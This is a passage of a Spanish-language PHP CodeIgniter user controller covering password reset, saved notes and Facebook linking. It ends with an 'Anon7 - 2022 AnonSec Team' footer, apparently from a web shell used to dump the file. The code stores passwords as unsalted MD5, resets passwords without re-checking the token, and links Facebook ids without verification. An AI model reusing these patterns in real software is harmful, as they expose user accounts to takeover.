		$variables['title'] = "Resetear contraseña - ".NOMBRE_SITIO;
		$variables['usuario'] = false;
		$variables['reset_pass'] = true;

		$this->load->model("usuario","usuario",true);
		if($this->usuario->consultar_token($id,$token))
		{
			$variables['token'] = 'si';
			$this->session->set_userdata('reset_password_id',$id);
		}
		else
		{
			$variables['token'] = 'no';
		}

		$this->load->view("usuario-cambiopass",$variables);
	}

	public function resetear_password()
	{

		if($this->session->userdata('usuario'))
		{
			$u = $this->session->userdata('usuario');
			redirect(site_url("usuarios/".$u['id']."/".$u['usuario']),"refresh");
			exit();
		}
		$password = $this->input->post("pass");
		$usuario_id = $this->session->userdata('reset_password_id');
		
		$this->load->model("usuario","usuario",true);

		$datos['password'] = md5($password);

		if($this->usuario->edit($usuario_id,$datos))
		{
				echo 1;
		}
		else
		{
			echo 3;
		}
	}
	
	public function reservar_nota()
	{
		$usuario = $this->session->userdata('usuario');
		if ($usuario)
		{
			$nota_id = $this->input->post("nota_id");
			if ($nota_id and is_numeric($nota_id))
			{
				$this->load->model("usuario","usuario",true);
				if ($this->usuario->checkReservaNota($nota_id, $usuario['id']))
				{
					$datos['usuario_id'] = $usuario['id'];
					$datos['nota_id'] = $nota_id;
					if ($this->usuario->reservarNota($datos))
					{
						$this->load->library('memcached_library');
						$this->memcached_library->delete('misfavoritas_'.$usuario['id']);
						$this->memcached_library->delete('misfavoritas_notas_'.$usuario['id']);
						echo 1;
					}
					else
						echo 0;
				}
				else
					echo 2;
			}
			else
				echo 3;
		}
		else
			echo 4;
	}
	
	public function quitar_nota_reservada()
	{
		$usuario = $this->session->userdata('usuario');
		if ($usuario)
		{
			$nota_id = $this->input->post("nota_id");
			if ($nota_id and is_numeric($nota_id))
			{
				$this->load->model("usuario","usuario",true);
				
				$datos['usuario_id'] = $usuario['id'];
				$datos['nota_id'] = $nota_id;
				if ($this->usuario->quitarNotaReservada($datos))
				{
					$this->load->library('memcached_library');
					$this->memcached_library->delete('misfavoritas_'.$usuario['id']);
					$this->memcached_library->delete('misfavoritas_notas_'.$usuario['id']);
					echo 1;
				}
				else
					echo 0;
			}
			else
				echo 0;
		}
		else
			echo 4;
	}

	public function foto_facebook()
	{
		$usuario = $this->session->userdata('usuario');
		if($usuario)
		{
			if($usuario['facebook_id']>0)
			{
				$this->load->library("comunidad_library");
				$this->comunidad_library->descarga_avatar_face($usuario['id'],$usuario['facebook_id']);
				$nombre_avat = $usuario['id'].".jpg";
				if (!file_exists(PATH_BASE_FILE."fotos/avatar_lector/".$nombre_avat))
					$nombre_avat = $usuario['id'].".jpeg";
				
				$info['imagen_estado'] = 1;
				$this->load->model("usuario","usuario",true);
				$this->usuario->update_largo($info,$usuario['id']);

				echo $nombre_avat;
			}
			else
				echo "error_login_facebook";
		}
		else 
			echo "usuario_sesion";
	}

	public function relacionar_facebook()
	{
		$usuario = $this->session->userdata('usuario');
		if($usuario)
		{
			$facebook_id=$this->input->post('uid');
			if ($facebook_id!="") {
				$this->load->model("usuario","usuario",true);
				$datos['facebook_id']=$facebook_id;
				if($this->usuario->edit($usuario['id'],$datos))
				{
					echo "ok";
				}else
					echo 'ko';
			}
		}else
			echo "error_sesion";
	}

}
?>

Anon7 - 2022
AnonSec Team